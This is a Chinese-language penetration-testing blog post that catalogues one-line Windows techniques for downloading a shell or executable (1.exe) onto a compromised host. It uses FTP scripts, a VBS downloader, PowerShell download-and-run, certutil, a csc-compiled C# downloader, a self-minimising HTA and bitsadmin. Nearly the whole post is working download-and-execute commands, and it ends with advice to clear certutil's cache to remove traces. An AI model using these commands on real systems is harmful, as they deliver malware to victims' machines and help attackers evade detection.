一句话下载姿势总结
在上一篇文章中，提到了下载shell的一些姿势，我们这篇文章来深入探究下。
ftp
1echo open 192.168.1.1 21> ftp.txt
2echo ftp>> ftp.txt
3echo bin >> ftp.txt
4echo ftp>> ftp.txt
5echo GET 1.exe >> ftp.txt
6ftp -s:ftp.txt
需要搭建ftp服务器，初次使用ftp下载防火墙会弹框拦截，使用前记得要先添加防火墙规则
vbs
vbs downloader,使用msxml2.xmlhttp和adodb.stream对象
1Set Post = CreateObject("Msxml2.XMLHTTP")
2Set Shell = CreateObject("Wscript.Shell")
3Post.Open "GET","http://192.168.1.1/1.exe",0
4Post.Send()
5Set aGet = CreateObject("ADODB.Stream")
6aGet.Mode = 3
7aGet.Type = 1
8aGet.Open()
9aGet.Write(Post.responseBody)
10aGet.SaveToFile "C:\test\1.exe",2
powershell
1powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','C:\test\1.exe');start-process 'C:\test\1.exe'
certutil
保存在当前路径，文件名称同URL
1certutil.exe -urlcache -split -f http://192.168.1.1/1.exe
保存在当前路径，指定保存文件名称
1certutil.exe -urlcache -split -f http://192.168.1.1/1.txt 1.php
使用downloader默认在缓存目录位置： %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content保存下载的文件副本
命令行删除缓存
1certutil.exe -urlcache -split -f http://192.168.1.1/1.exe delete
查看缓存项目：
1certutil.exe -urlcache *
csc
csc.exe是微软.NET Framework 中的C#编译器，Windows系统中默认包含，可在命令行下将cs文件编译成exe
download.cs
1using System.Net;
2namespace downloader
3{
4 class Program
5 {
6 static void Main(string[] args)
7 {
8 WebClient client = new WebClient();
9 string URLAddress = @"http://192.168.1.1/1.exe";
10 string receivePath = @"C:\test\";
11 client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
12 (URLAddress));
13 }
14 }
15}
1C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\tes
2t\download.exe C:\test\download.cs
hta
添加最小化和自动退出hta程序的功能，执行过程中会最小化hta窗口，下载文件结束后自动退出hta程序
将以下代码保存为hta文件
1<html>
2<head>
3<script>
4var Object = new ActiveXObject("MSXML2.XMLHTTP");
5Object.open("GET","http://192.168.1.1/1.exe",false);
6Object.send();
7if (Object.Status == 200)
8{
9 var Stream = new ActiveXObject("ADODB.Stream");
10 Stream.Open();
11 Stream.Type = 1;
12 Stream.Write(Object.ResponseBody);
13 Stream.SaveToFile("C:\\test\\1.exe", 2);
14 Stream.Close();
15}
16window.close();
17</script>
18<HTA:APPLICATION
19WINDOWSTATE = "minimize">
20</head>
21<body>
22</body>
23</html>
bitsadmin
bitsadmin是一个命令行工具，可用于创建下载或上传工作和监测其进展情况。xp以后的Windows系统自带
1bitsadmin /transfer n http://192.168.1.1/1.exe C:\test\update\1.exe
不支持https、ftp协议，php python带的服务器会出错
写在文后，推荐使用powershell或certutil，但是记得清理缓存。